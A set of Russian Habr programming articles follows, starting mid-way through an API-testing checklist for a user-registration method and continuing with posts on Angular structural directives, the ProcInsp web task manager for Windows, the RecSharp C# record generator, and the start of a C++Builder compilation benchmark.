Поэтому статус-код проверяем всегда, обращаем на него внимание. Ну а если в методе собственные статусы (как, например, в методе [MagicSearch](https://testbase.atlassian.net/wiki/spaces/USERS/pages/1249378773/MagicSearch))
**Практика на примере Users**
На статус надо было обращать внимание всегда, чтобы не дублировать снова все тесты. Но сейчас просто дернем “хороший” и “плохой” запросы.
Хороший — статус 200, всё ок:
Плохой — ой, статус снова 200, хотя мы видим сообщение об ошибке:
Нехорошо! На это надо ставить баг.
---
Итоговый чек-лист проверки doRegister
-------------------------------------
Помним, что в первую очередь проверяем бизнес-логику. А потом уже всякие API-штучки, куда входят:
* Регистрозависимость
* Перестановка мест параметров
* Well formed запрос
#### Базовый тест
*Базовый тест тщательно выверяет каждое поле из “корректного” ответа. Проверяет, как вызов API-метода влияет на отображение в GUI… Поэтому его пропишем текстом, а остальные тесты соберем в табличку.*
1. Проверка примера из ТЗ (но имя и емейл меняем на уникальные)
```
{
"email": "milli{{$randomInt}}@mail.ru",
"name": " Машенька{{$randomInt}}",
"password": "1"
}
```
**ОР:**
1. Статус 200
2. В ответе следующий набор полей:
```
"name": " Машенька562", (то имя, что мы отправили)
"avatar": "http://users.bugred.ru//tmp/default_avatar.jpg", (в этом методе всегда такой урл стандартной аватарки)
"password": "4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a",
"birthday": 0,
"email": "milli754@mail.com", (тот емейл, мы мы отправили)
"gender": "",
"date_start": 0,
"hobby": ""
```
3. Пользователь добавлен в общий список. Проверяем через GUI — <http://users.bugred.ru/>. Ищем поиском — есть!
Проверяем все поля:
* Емейл правильный, какой мы отправляли.
* Автор «rest», что логично.
* Дата изменения — сегодня, что тоже правильно.
4. Под пользователем можно войти в систему — нажимаем “Войти”, вводим емейл из запроса, пароль из запроса, проверяем авторизацию.
#### Остальные тесты
| | |
| --- | --- |
| **Бизнес-логика из ТЗ** | |
| Уникальный емейл, дубликат имени{ "email": "milli*{{$randomInt}}*@mail.ru", "name": " Машенька562", "password": "1"} | **ОР:** Статус 400В теле ошибка: "name (переданное имя) уже есть в базе" |
| Уникальное имя, дубликат емейл{ "email": "milli754@mail.ru", "name": " Машенька*{{$randomInt}}*", "password": "1"} | **ОР:** Статус 400В теле ошибка: "email (переданный email) уже есть в базе" |
| Дубликаты сразу имени и емейл{ "email": "milli754@mail.ru", "name": " Машенька562", "password": "1"} | **ОР:** Статус 400В теле ошибка: "email (переданный email) уже есть в базе" |
| **Параметр email** | |
| Корректный существующий email, куда может прийти почта — подставляем свой (начинаем всегда с корректного) | Успешный запрос |
| Верхний регистр, цифры в имени пользователя и доменной части — [TEST77@mail9.ru](mailto:TEST77@mail9.ru) | Успешный запрос |
| Email с дефисами и нижним подчеркиванием — test\_user-1@mail\_test-1.com | Успешный запрос |
| Email с точками в имени пользователя и парой точек в доменной части — test.user@test.test.test.ru | Успешный запрос |
| Email без точек в доменной части — test@mailcom | Статус 400, ошибка «email некорректный» |
| Превышение длины email (>320 символов) | Статус 400, ошибка «email некорректный» |
| Отсутствие @ в email — testmail.ru | Статус 400, ошибка «email некорректный» |
| Email с пробелами в имени пользователя — test user@mail.ru | Статус 400, ошибка «email некорректный» |
| Email с пробелами в доменной части — test@ma il.ru | Статус 400, ошибка «email некорректный» |
| Email без имени пользователя — @mail.ru | Статус 400, ошибка «email некорректный» |
| Email без доменной части — test@ | Статус 400, ошибка «email некорректный» |
| Некорректный домен первого уровня (допустимо 2-6 букв после точки: .ru) — test@mail.urururururu | Статус 400, ошибка «email некорректный» |
| **Параметр name** | |
| Простое имя типа “Ольга” | Успешный запрос |
| Разный регистр, буквы и спецсимволы:Mixa1234567890`-=[]\;’/.,~!@#$%^&\*()\_+}{:”?><|Ё\_+ХЪ/ЖЭБЮ,ёхъ\-=. | Успешный запрос |
| 1 000 символов — ищем верхнюю границу, если она есть. Заодно смотрим, как это выглядит в интерфейсе и корректируем тест. | Успешный запрос |
| 1 000 000 символов — ищем технологическую границу | Ошибка 400 — «Имя слишком длинное. Максимальная длина (такая-то)» |
| **Параметр password** | |
| Обычный пароль типа 1 | Успешный запрос |
| Разный регистр, буквы и спецсимволы:Mixa1234567890`-=[]\;’/.,~!@#$%^&\*()\_+}{:”?><|Ё\_+ХЪ/ЖЭБЮ,ёхъ\-=. | Успешный запрос |
| 1 000 символов — ищем верхнюю границу, если она есть. Заодно смотрим, как это выглядит в интерфейсе и корректируем тест. | Успешный запрос, пароль обрезается до X символов |
| 1 000 000 символов — ищем технологическую границу | Успешный запрос, пароль обрезается до X символов |
| **Тело сообщения (body)** | |
| Перестановка мест слагаемых в json{ "name": " Машенька*{{$randomInt}}*", "email": "test*{{$randomInt}}*@mail.com", "password": "1"} | Статус 200, корректный ответ |
| Перестановка мест слагаемых в form-data | Статус 200, корректный ответ |
| Меняем регистр у любого параметра:{ "email": "test*{{$randomInt}}*@mail.com", "NAME": " Машенька*{{$randomInt}}*", "password": "1"} | Статус 200, корректный ответ |
| Меняем в запросе тип метода с POST на GET | Статус 400, ошибка «Неправильный тип метода, нужно использовать POST» |
| **Well formed json** | |
| Запятая после последней пары «ключ:значение»:{ "email": "test*{{$randomInt}}*@mailcom", "name": " Машенька*{{$randomInt}}*", "password": "1",} | Статус 400В теле ошибка: "Не well formed json в запросе" |
| Запрос не в виде пар “ключ:значение”, у пароля убираем значение:{ "email": "test*{{$randomInt}}*@mail.com", "name": " Машенька*{{$randomInt}}*", "password"} | Статус 400В теле ошибка: "Не well formed json в запросе" |
| Данные не разделены запятыми{ "email": "test*{{$randomInt}}*@mail.com" "name": " Машенька*{{$randomInt}}*" "password": "1"} | Статус 400В теле ошибка: "Не well formed json в запросе" |
| объект в квадратных скобках, а не фигурных[ "email": "test*{{$randomInt}}*@mail.com", "name": " Машенька*{{$randomInt}}*", "password": "1"] | Статус 400В теле ошибка: "Не well formed json в запросе" |
---
Вывод
-----
Тестирование API — это не страшно! По факту это всё то же самое, что в GUI + дополнительные тесты. В интерфейсе нельзя подвигать местами поля или изменить название поля. А в API можно.
Но всегда в первую очередь важен тест-дизайн. Прочитайте ТЗ и проверьте его, учитывая классы эквивалентности и граничные значения. А потом добавьте API-часть:
* Перестановка мест слагаемых в json
* Перестановка мест слагаемых в form-data
* Регистрозависимость
* Другой тип метода
* Well formed json / xml
Ну а если что-то подзабудется, то можно открыть эту статью и свериться с чек-листом отсюда! =))
*PS — больше полезных статей ищите*[*в моем блоге по метке «полезное»*](https://okiseleva.blogspot.com/search/label/%D0%BF%D0%BE%D0%BB%D0%B5%D0%B7%D0%BD%D0%BE%D0%B5)*. А полезные видео — на*[*моем youtube-канале*](https://www.youtube.com/c/okiseleva) | https://habr.com/ru/post/704090/ | null | ru | null |
# Небинарный *ngIf
Вам когда-нибудь хотелось отобразить состояние загрузки, пока `ngIf` ждет ответа от `async`-пайпа? Или, может, вы мечтали передать в `ngFor` шаблон для пустого массива? Возможно, вы бросили это, потому что вам не хотелось реализовывать базовую логику этих директив самому. На самом деле в этом нет нужды! Один и тот же селектор может подцепить несколько директив, что позволяет расширить функциональность встроенных директив дополнительной логикой.
[NgForOf](https://angular.io/api/common/NgForOf), более известная как `ngFor`, — знакомая всем директива для перебора списка. Довольно часто список бывает пустым и необходимо отображать сообщение «Ничего не найдено». Эту возможность [уже просили на github](https://github.com/angular/angular/issues/14479) и даже набрали 169 лайков. В итоге ее завернули, объясняя решение нежеланием раздувать core-пакет. Мы и так можем использовать `ngIf` для проверки длины. Но тогда это раздует бандл самого приложения. Так что давайте попробуем добавить эту возможность, дописывая минимум кода.
> *\* — это* [*синтаксический сахар*](https://angular.io/guide/structural-directives#structural-directive-syntax-reference) *для передачи инпутов*
>
>
Если вы прочли и поняли описание синтаксиса выше, то ваш IQ измеряется четырехзначным числом. Но на деле все не так сложно, как кажется. По сути, если бы у нас был инпут `ngForEmpty`, мы могли бы написать: `*ngFor="let item of items empty template"` и передать [template reference-переменную](https://angular.io/guide/template-reference-variables) для пустого состояния. Так что давайте добавим свою директиву с селектором `ngFor`, у которой будет такой инпут:
```
@Directive({
selector: '[ngFor][ngForOf][ngForEmpty]',
})
export class TuiForDirective implements OnChanges {
@Input()
ngForOf = [];
@Input()
ngForEmpty: TemplateRef<{}>;
private ref?: EmbeddedViewRef<{}>;
constructor(private readonly vcr: ViewContainerRef) {}
ngOnChanges() {
this.ref?.destroy();
if (this.ngForOf?.length === 0) {
this.ref = this.vcr.createEmbeddedView(this.ngForEmpty);
}
}
}
```
Вот и все! Когда `ngFor` меняется, мы уничтожаем наш шаблон пустого списка, и если массив пустой, создаем его. Такое количество кода наш бандл потянет!
Небинарный ngIf
---------------
`NgIf` позволяет показывать разные шаблоны исходя из доступности данных. Но иногда этого недостаточно. Допустим, мы хотим различать присутствие и отсутствие данных, загрузку и ошибку. Что если я скажу вам, что этому безумному синтаксису для работы не хватает всего нескольких строк?
```
{{value}}
```
Давайте расширим `ngIf` с помощью `or` для загрузки и `but` для ошибки. Ниже я привел заготовку такой директивы с комментариями:
```
@Directive({
selector: '[ngIf][ngIfOr],[ngIf][ngIfBut]'
})
export class NgIfAugmentedDirective implements OnChanges {
// Следим за значением
@Input()
ngIf: unknown = false;
// Следим за оригинальным шаблоном
@Input()
ngIfThen: TemplateRef> = this.templateRef;
// Следим за шаблоном “else”
@Input()
ngIfElse: TemplateRef> | null = null;
// Шаблон состояния загрузки
@Input()
ngIfOr: TemplateRef> | null = null;
// Шаблон состояния ошибки
@Input()
ngIfBut: TemplateRef> | null = null;
constructor(
// Оригинальная директива \*ngIf
private readonly directive: NgIf,
private readonly templateRef: TemplateRef>
) {}
}
```
Мы инжектим `ngIf`, чтобы он делал всю работу за нас. Используем `null` как индикатор загрузки, потому что его выдает `async`-пайп, пока данные еще не прилетели. Для ошибки будем проверять значение через `instanceof Error`.
Все, что нужно, будет происходить внутри `ngOnChanges`. Мы рассматриваем значение и передаем нужный шаблон в `ngIf`. При необходимости сбрасываем его на исходное значение:
```
ngOnChanges() {
// При загрузке данных нет, поэтому мы
// передаем шаблон в ngIfElse и выходим
if (this.ngIf === null && this.ngIfOr) {
this.directive.ngIfElse = this.ngIfOr;
return;
}
// Данные типа Error означают, что мы передаем
// шаблон в ngIfThen и делаем ранний выход
if (this.ngIf instanceof Error && this.ngIfBut) {
this.directive.ngIfThen = this.ngIfBut;
return;
}
// Если ни то ни то не выполнилось,
// сбрасываем шаблоны
if (this.directive.ngIfThen !== this.ngIfThen) {
this.directive.ngIfThen = this.ngIfThen;
}
if (this.directive.ngIfElse !== this.ngIfElse) {
this.directive.ngIfElse = this.ngIfElse;
}
}
```
Четыре условия и четыре строчки кода — этого достаточно. Обратите внимание на селектор. Директива создастся, если мы предоставим тот или иной шаблон через сахар или явные параметры.
Результат
---------
`NgFor` часто используется вместе с `async`-пайпом. Добавить состояние загрузки к нашей директиве потребует всего пару строк. Итоговый результат можно увидеть [на этом StackBlitz.](https://stackblitz.com/edit/angular-augmented-directives)
Директивы Angular предоставляют удобный способ разбить логику на части. Возможность повесить несколько директив на один селектор позволяет это делать еще более гибко. Даже структурные директивы и синтаксический сахар работают так же. Имейте это в виду, когда в следующий раз понадобится сархитектурить какое-то сложное решение 😉 | https://habr.com/ru/post/580172/ | null | ru | null |
# ProcInsp — веб-диспетчер задач для Windows
*«Сказать программисту, что уже есть библиотека, делающая Х,* — *это то же самое, что сказать музыканту, что уже есть песня про любовь»* [*(с)*](https://skillbox.ru/media/code/izobretayte_velosipedy/)
Есть разные способы посмотреть, чем занят сервер под Windows: можно зайти по RDP и открыть [Task Manager](https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D1%81%D0%BF%D0%B5%D1%82%D1%87%D0%B5%D1%80_%D0%B7%D0%B0%D0%B4%D0%B0%D1%87_Windows) или [Process Explorer](https://ru.wikipedia.org/wiki/Process_Explorer), а можно запустить удаленный сеанс через PowerShell и набрать команду Get-Process. Но что если серверов много и нужна информация по всем сразу? Заходить по RDP неудобно, а для работы с PowerShell требуется определенная квалификация.
Мы не нашли подходящего инструмента, поэтому разработали свой. Итак, встречайте [ProcInsp](https://github.com/CUSTIS-public/ProcInsp/blob/v1.0.0/ProcInsp/Controllers/ProcessController.cs) — совершенно новый диспетчер задач для Windows.
Что такое ProcInsp?
-------------------
Повторюсь, ProcInsp — это еще один диспетчер задач для Windows, однако в отличие от [Task Manager](https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D1%81%D0%BF%D0%B5%D1%82%D1%87%D0%B5%D1%80_%D0%B7%D0%B0%D0%B4%D0%B0%D1%87_Windows) и [Process Explorer](https://ru.wikipedia.org/wiki/Process_Explorer) он работает через веб, к тому же собирает информацию с нескольких серверов.
ProcInsp показывает информацию о потреблении RAM и CPU на наблюдаемых серверах (в левой части экрана) и отображает запущенные на них процессы (в правой части):
ProcInsp интегрирован с [Kibana](https://www.elastic.co/kibana), и при щелчке на соответствующую ссылку показывает логи выбранного процесса (в Kibana отправляется запрос, содержащий в фильтре имя хоста и идентификатор процесса). Чтобы различать множество w3wp-процессов, ProcInsp для каждого из них отображает имя пула приложений (для каждого пула IIS запускает свой w3wp-процесс).
Для CLR-процессов возможно получение более детальной информации. Если кликнуть на интересующем нас процессе, то ProcInsp выведет список потоков и их стеков вызовов. Для IIS-процессов он покажет текущие обрабатываемые веб-запросы:
Если внутри потока выброшено исключение, то ProcInsp отобразит его тип, сообщение и стек вызовов. При клике на ссылку Kibana откроется лог, отфильтрованный по хосту, процессу и потоку.
Вот так выглядит экран просмотра стека вызовов (обратите внимание, что ProcInsp подсвечивает точку входа в приложение, оставляя за скобками инфраструктурный код):
Почему мы решили написать ProcInsp?
-----------------------------------
Мы написали ProcInsp, поскольку не нашли удобного инструмента, позволяющего просматривать стек вызовов работающего CLR-процесса.
Конечно же, можно использовать снятие дампов и [WinDbg](https://docs.microsoft.com/ru-ru/windows-hardware/drivers/debugger/debugger-download-tools), но это требует подключения к серверу через RDP, а главное — соответствующей квалификации специалиста: к задаче надо подключать как минимум разработчика. Что касается ProcInsp, то он позволяет «заглянуть» в стек вызовов быстрее (не надо подключаться через RDP, запускать утилиты), а использовать его может тестировщик или инженер службы поддержки.
Возможно, кто-то скажет, что информацию о потреблении ресурсов серверами и процессами необходимо смотреть через системы мониторинга (типа Prometheus). Да, это так, однако тот же Prometheus заточен под получение только числовых характеристик, поэтому через него неудобно (и даже невозможно) просматривать текущие запросы и/или потоки процессов.
Существующие утилиты для мониторинга задач (см. далее раздел «[Альтернативы ProcInsp](#alternatives)») не имеют функции просмотра информации о стеках вызовов на *удаленных* компьютерах. Восполнение этого пробела — еще одна причина написания ProcInsp.
Особенности реализации ProcInsp
-------------------------------
### Получение общего потребления RAM и CPU сервером
Общее использование CPU ProcInsp получает через `PerformanceCounter` (пакет [System.Diagnostics.PerformanceCounter](https://www.nuget.org/packages/System.Diagnostics.PerformanceCounter/)):
```
var cpuCounter = new PerformanceCounter("Processor", "% Processor Time", "_Total", Environment.MachineName);
cpuCounter.NextValue();
System.Threading.Thread.Sleep(500); //This avoid that answer always 0
CpuUsage = (int) cpuCounter.NextValue();
```
Информация об общем использовании RAM вычитывается через `ManagementObjectSearcher` (пакет [System.Management](https://www.nuget.org/packages/System.Management/)):
```
var wmiObject = new ManagementObjectSearcher("select * from Win32_OperatingSystem");
var memoryValues = wmiObject.Get().Cast()
.Select(mo => new {
FreePhysicalMemory = Double.Parse(mo["FreePhysicalMemory"].ToString()),
TotalVisibleMemorySize = Double.Parse(mo["TotalVisibleMemorySize"].ToString())
}).FirstOrDefault();
if (memoryValues != null)
{
RamUsage = ((memoryValues.TotalVisibleMemorySize - memoryValues.FreePhysicalMemory) / memoryValues.TotalVisibleMemorySize) \* 100;
}
```
[Код получения общего потребления CPU и RAM](https://github.com/CUSTIS-public/ProcInsp/blob/v1.0.0/ProcInsp/Dtos/MachineInfo.cs#L20-L35) см. на GitHub.
### Получение общей информации по процессам
Чтобы получить список запущенных на компьютере процессов, можно воспользоваться функцией `Process.GetProcesses()`, однако в результатах будет отсутствовать информация о параметрах командной строки (а для нас это важная информация, поскольку мы хотим видеть, для какого пула приложений запущен каждый из w3wp-процессов).
Вся необходимая информация, за исключением потребления CPU и RAM, есть внутри объекта `Win32_Process`, который доступен через `ManagementObjectSearcher` (пакет [System.Diagnostics.PerformanceCounter](https://www.nuget.org/packages/System.Diagnostics.PerformanceCounter/)). [Код получения информации по процессам](https://github.com/CUSTIS-public/ProcInsp/blob/v1.0.0/ProcInsp/Services/ProcessInfoGetter.cs#L10) см. на GitHub.
Что касается потребления CPU и RAM отдельным процессом, то эта информация есть в `Win32_PerfFormattedData_PerfProc_Process`, доступ к которому, опять же, получаем через `ManagementObjectSearcher` (см. [исходный код](https://github.com/CUSTIS-public/ProcInsp/blob/v1.0.0/ProcInsp/Services/ProcessInfoGetter.cs#L50) на GitHub).
### Получение списка текущих веб-запросов
В случае IIS-процессов полезной является информация о текущих обрабатываемых веб-запросах. Эта информация доступна через `ServerManager` пакета [Microsoft.WebAdministration](https://www.nuget.org/packages/Microsoft.Web.Administration/) (см. [исходный код](https://github.com/CUSTIS-public/ProcInsp/blob/v1.0.0/ProcInsp/Controllers/ProcessController.cs#L189-L196) на GitHub).
### Получение перечня потоков и их стеков вызовов
Внутри объекта `System.Diagnostics.Process` есть свойство `Threads`, однако через него невозможно получить стеки вызовов *других* процессов (отличающихся от текущего). У Microsoft есть библиотека [Microsoft.Diagnostics.Runtime (ClrMD)](https://www.nuget.org/packages/Microsoft.Diagnostics.Runtime/), которая позволяет подсоединиться к запущенному процессу и получить сведения в том числе о стеках вызовов работающих потоков. [Исходный код](https://github.com/CUSTIS-public/ProcInsp/blob/v1.0.0/ProcInsp/Controllers/ProcessController.cs#L107) см. на GitHub.
### Объем памяти, выделенной для одного потока
При разработке ProcInsp стояла задача определять объем памяти, выделенной под конкретный поток. Дело в том, что Windows выделяет память под процесс, а как эта память распределяется по потокам, не знает. Для того чтобы определить объем кучи потока, было решено написать свой калькулятор (заранее оговорюсь, что идея провалилась: калькулятор дает заниженные данные).
По идее, любое выделение памяти внутри потока приводит либо к появлению нового корневого объекта, либо к созданию ссылки из существующего корневого объекта на вновь созданный (напрямую или через иерархию объектов).
Перебрать корневые объекты, доступные из потока, можно при помощи пакета [ClrMD](https://www.nuget.org/packages/Microsoft.Diagnostics.Runtime/). Далее для каждого из объектов можно получить объем памяти, а также информацию о дочерних объектах (объекты, на которые ссылается корневой объект). Для дочерних объектов, в свою очередь, доступна та же информация (объем памяти и ссылки).
Получается, при помощи обычной рекурсии, начинающейся от корневых объектов, мы теоретически получаем возможность обойти всю иерархию объектов и вычислить объем выделенной под поток памяти. Однако здесь у нас возникли сложности:
1. Обход больших деревьев занимает слишком много времени (а иногда и вовсе приводит к зависаниям), поэтому мы ввели ограничение на глубину и ширину обхода.
2. Некоторые объекты могут быть доступны сразу из нескольких потоков. Например, статическое поле класса будет доступно из всех потоков. Это приведет либо к тому, что поле класса будет обойдено при обходе каждого потока, либо к тому, что поле класса не будет обойдено ни разу.
Мы не стали выяснять, из-за чего все-таки не удается определить хотя бы порядок объема памяти, выделенной под поток. Возможно, этим будет интересно заняться кому-то из наших читателей :) Наша (не рабочая) реализация обхода кучи [здесь](https://github.com/CUSTIS-public/ProcInsp/blob/v1.0.0/ProcInsp/Controllers/ProcessController.cs#L142).
### Архитектура и точки расширения
ProcInsp отображает информацию о потреблении ресурсов на множестве серверов: клиентская часть (реализована на React и TypeScript) посылает асинхронные запросы на серверы, на которых развернуты точки входа ASP.NET Core. Клиентская и серверная части ProcInsp обмениваются друг с другом информацией через WebAPI.
При необходимости сбор информации с серверов можно осуществлять другой утилитой (реализованной, к примеру, на Java или Node.JS). С другой стороны, клиентская часть ProcInsp может собирать информацию с серверов, скажем, под управлением Linux или MacOS, если на них реализован необходимый API. Полная информация о поддерживаемых WebAPI-запросах доступна [здесь](https://github.com/CUSTIS-public/ProcInsp#api).
Конфигурирование ProcInsp
-------------------------
Серверная часть ProcInsp в настоящий момент не конфигурируется.
Конфигурация клиентской части ProcInsp задается в файле \ClientApp\build\config.js. В настоящий момент поддерживаются следующие настройки:
* `InspServers` — адреса серверов, с которых ProcInsp собирает данные.
* `IisProcs` — имена процессов, которые должны отображаться при включенной опции Only IIS.
* `Kibana.Procs` — адрес Kibana, по которому доступны логи для заданного процесса. Поддерживает местозаместители: `${pid}, ${machineName}`, `${machineNameLowercase}`.
* `Kibana.Threads` — адрес Kibana, по которому доступны логи для заданного потока. Поддерживает те же местозаместители, что и `Kibana.Procs`, а также `${threadId}`.
* `Entrypoint.Contains` — строки, одна из которых должна быть в имени функции, служащей точкой входа. Данная настройка вместе со следующей задает правила, по которым ProcInsp ищет точку входа в стеке вызовов (чтобы подсветить метод, отображающий суть происходящего в приложении).
* `Entrypoint.NotContains` — строки, которых не должно быть в имени функции, служащей точкой входа.
* `Requests.UrlInfo` — регулярное выражение, при помощи которого ProcInsp получает основную информацию из строк запросов к IIS. Например, из `www.mysite.com/Request=MyMainMethod` можно получить строку `MyMainMethod` для отображения в списке запросов.
Актуальная информация о перечне и типах настроек доступна в файле [globals.d.ts](https://github.com/CUSTIS-public/ProcInsp/blob/main/ProcInsp/ClientApp/src/globals.d.ts).
Ограничения
-----------
ProcInsp умеет получать подробную информацию о потоках только для CLR-процессов. Для нативных и Java-процессов отображаются лишь идентификаторы запущенных потоков и время их старта.
[ClrMD](https://www.nuget.org/packages/Microsoft.Diagnostics.Runtime/) умеет получать данные только по процессам, чья битность совпадает с запущенным процессом (в нашем случае — процессом ProcInsp). Это означает, что если ProcInsp запущен как 32-битное приложение, то он сможет получить данные о стеках вызовов только по 32-битным процессам. Аналогично 64-битный ProcInsp будет иметь доступ только к данным о 64-битных приложениях.
Возможный обходной путь здесь таков: запускать 2 экземпляра ProcInsp (по экземпляру на каждую битность) и присылать запросы по процессу на «правильный» экземпляр, работающий в нужной битности.
Ограничение не распространяется на отображение списка процессов: вне зависимости от того, в какой битности запущен ProcInsp, отображаются все процессы.
Текущие обрабатываемые запросы отображаются только для IIS.
Альтернативы ProcInsp
---------------------
Сначала рассмотрим утилиты, позволяющие получать информацию с *удаленных* компьютеров.
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| | [PsList](https://docs.microsoft.com/ru-ru/sysinternals/downloads/pslist) | [Remote Process Explorer](https://lizardsystems.com/remote-process-explorer/) | [Remote Process Viewer](https://www.file.net/remote-process-viewer/) | [Desktop Central](https://www.manageengine.com/products/desktop-central/download-free.html) | [ProcInsp](https://github.com/CUSTIS-public/ProcInsp) |
| **Вид** | Командная строка | Windows-приложение | Windows-приложение | Веб-приложение | Веб-приложение |
| **Просмотр списка процессов** | + | + | + | + | + |
| **Инф-я о потреблении ресурсов процессом** | + | + | + | + | + |
| **Просмотр списка потоков** | + | – | – | – | + |
| **Просмотр стеков вызовов** | – | – | – | – | + |
| **Лицензия** | Бесплатно для некоммерческого использования | Бесплатно для личного использования | Бесплатно | Платно | Бесплатно |
Как видно, только ProcInsp умеет получать с удаленной машины информацию о стеках вызовов.
Однако существует ряд приложений, которые позволяют просматривать перечень потоков и их стеков вызовов на *текущем* компьютере. Эти утилиты имеют примерно одинаковые возможности, различаясь лишь наличием/отсутствием пользовательского интерфейса:
* [ProcessExplorer](https://docs.microsoft.com/ru-ru/sysinternals/downloads/process-explorer) имеет графический интерфейс (Windows-приложение)
* [MDBG](https://docs.microsoft.com/en-us/dotnet/framework/tools/mdbg-exe), [stackdump](https://archive.codeplex.com/?p=stackdump), [stdump](https://github.com/odinserj/stdump) — консольные приложения
В интернете есть упоминания утилит [Managed Stack Explorer](https://artisticcheese.wordpress.com/2015/09/) и [Clr Stack Explorer](https://dzone.com/articles/clr-stack-explorer-%E2%80%93-preview), имеющих графический интерфейс, однако первое приложение не запускается, а для второго не работают ссылки на скачивание.
[WinDbg](https://docs.microsoft.com/ru-ru/windows-hardware/drivers/debugger/debugger-download-tools) и [DebugDiag](https://www.microsoft.com/en-us/download/details.aspx?id=58210) также позволяют просмотреть перечень потоков и их стеков вызовов. Упоминаю их отдельно от остальных, поскольку утилиты имеют широкий круг возможностей по снятию и анализу дампов приложений и являются не диспетчерами задач, а средствами отладки.
Планы на будущее
----------------
В будущем планируется сделать ProcInsp кроссплатформенным, то есть научить его выводить информацию о процессах, запущенных на Linux и MacOS. Планируется добавить возможность просмотра подробной информации по нативным и Java-процессам, просмотр активных веб-запросов nginx и других веб-серверов, поддержку Docker. Также полезно добавить возможность управлять процессами, как минимум прерывать их и снимать дампы.
Использованные пакеты
---------------------
| | |
| --- | --- |
| **Пакет** | **Получаемая информация** |
| [System.Diagnostics.PerformanceCounter](https://www.nuget.org/packages/System.Diagnostics.PerformanceCounter/) | Общее потребление CPU на сервере |
| [System.Management](https://www.nuget.org/packages/System.Management/) | Общее потребление RAM на сервере, список запущенных процессов и потребление ими RAM/CPU |
| [Microsoft.WebAdministration](https://www.nuget.org/packages/Microsoft.Web.Administration/) | Список активных веб-запросов |
| [Microsoft.Diagnostics.Runtime](https://www.nuget.org/packages/Microsoft.Diagnostics.Runtime/) (ClrMD) | Работающие потоки и их стеки вызовов |
Ссылки
------
* [Исходный код](https://github.com/CUSTIS-public/ProcInsp)
* [Релизы](https://github.com/CUSTIS-public/ProcInsp/releases%20)
* [Инструкция по установке](https://github.com/CUSTIS-public/ProcInsp#deploy)
* Лицензия: [MIT](https://github.com/CUSTIS-public/ProcInsp/blob/main/LICENSE) | https://habr.com/ru/post/543156/ | null | ru | null |
# Когда нет сил ждать Record'ы
Думаю, многие C# разработчики с нетерпением ждали в C# 6.0 появления первичных конструкторов и record'ов и были огорчены тем, что эта фича была отложена до 7-й версии. Под конец рабочего четверга желание иметь неизменяемые типы во что бы то ни стало пересилило во мне терпение и я решил написать утилиту, генерирующую их. Кому интересно — прошу под кат.
Постановка задачи виделась предельно ясно, record должен содержать:
* Свойства с публичными getter-ами
* Конструктор с параметрами для инициализации всех свойств
* Метод Copy() с таким же набором параметры, но имеющий для каждого значение по умолчанию
* Перегрузки Equals и GetHashCode, реализацию IEquatable
* Операторы == и !=
В общем, всё как в case-классах в Scala.
Для описания record'ов был взят слегка упрощённый синтаксис C#:
```
namespace Records {
using System;
record Test {
Int32 Id;
String Name;
Nullable Amount;
}
}
```
Разбор текста осуществляется с помощью Nemerle.PEG, получилась вот такая грамматика:
```
grammar {
ANY = !['\u0000'..'\u001F'] !'\u007F' ['\u0000'..'\uFFFF'];
ws : void = ("\r\n" / "\n" / "\r" / "\t" / ' ')*;
letter = [Lu, Ll, Lt, Lm, Lo];
digit = ['0'..'9'];
keyword = "using" / "record" / "namespace";
identifier : string = letter (letter / digit)*;
path : string = identifier ("." identifier)*;
genericTypeDefinition : string = identifier ws"<"ws (genericTypeDefinition / identifier)(ws","ws (genericTypeDefinition / identifier))* ws">";
property : PropertyDefinition = !keyword (genericTypeDefinition / identifier) ws identifier ws";";
properties : List[PropertyDefinition] = (ws property ws)+;
import : ImportDefinition = "using" ws path";";
record : RecordDefinition = "record" ws identifier ws "{" ws property (ws property)* ws "}";
nmspace : NamespaceDefinition = "namespace" ws path ws "{" (ws import)* ws record (ws record)* ws "}" ws !ANY;
}
```
По полученному в результате работы парсера DOM генерируется исходный код C# с помощью CodeDOM, который затем компилируется в сборку с помощью CSharpCodeProvider.
Для простоты реализации было внесено ограничение — в каждом файле должен находится новый namespace (в дальнейшем планирую убрать это ограничение). В остальном язык получился гибким: namespace можно сразу же импортировать в другие файлы, объявленные типы можно сразу же использовать как типы полей в других record'ах.
Приведу простой пример использования.
Создадим файл Units.rcs со следующим содержанием:
```
namespace Units {
using System;
record Unit1 {
Int32 Id;
String Name;
}
record Unit2 {
Int32 Id;
Unit1 Unit;
Decimal Amount;
}
}
```
а также Delivery.rsc
```
namespace Delivery {
using System;
using Units;
record Address {
String CityName;
String Street;
String House;
}
record Package {
Address Destination;
Unit2 Contents;
}
}
```
Для того чтобы получить сборки нужно выполнить следующую команду:
```
RecSharp -i Units.rcs Delivery.rcs -o Records.dll
```
В результате будет получена сборка, которую можно подключить к проекту и пользоваться объектами.
Так-же можно воспользоваться расширением для VisualStudio, генерирующим исходники наподобие T4.
Проект можно пощупать здесь:
[RecSharp](https://github.com/danslapman/RecSharp)
(в Releases есть бинарники для тех, кто не хочет ставить Nemerle)
Расширение для VisualStudio:
[RecSharp.VisualStudio](https://github.com/danslapman/RecSharp.VisualStudio)
(опять таки, в релизах лежит собраный .vsix)
В перспективах возможно перееду с CodeDOM на Roslyn, но после первого беглого осмотра его API для кодогенерации выглядит сложнее, чем у CodeDOM.
Буду рад, если утилита будет кому-то полезна. | https://habr.com/ru/post/269453/ | null | ru | null |
# Threadripper 3990X: компилируем 1 миллиард строк C++ на 64 ядрах
RAD Studio состоит из Delphi и C++Builder. Компилятор Object Pascal в Delphi является однопроходным компилятором, и сам компилятор не является параллельным, однако при компиляции нескольких проектов параллельно он оказался способен [скомпилировать 1 миллиард строк кода Object Pascal за 5 минут](https://www.fmxexpress.com/ryzen-9-5950x-one-billion-lines-of-delphi-code-compiled-in-5-minutes-on-16-cores/) на машине с 16-ядерным AMD Ryzen 9 5950x. Я хотел выяснить, возможно ли сделать что-то подобное для C++. Этот пост является частью серии статей, в которой мы исследуем значительный прирост производительности, которого можно достичь на самых быстрых на начало 2021 года процессорах. Сколько это — 1 миллиард строк кода? [Взгляните сюда](https://www.informationisbeautiful.net/visualizations/million-lines-of-code/).
Параллельная компиляция в C++Builder
------------------------------------
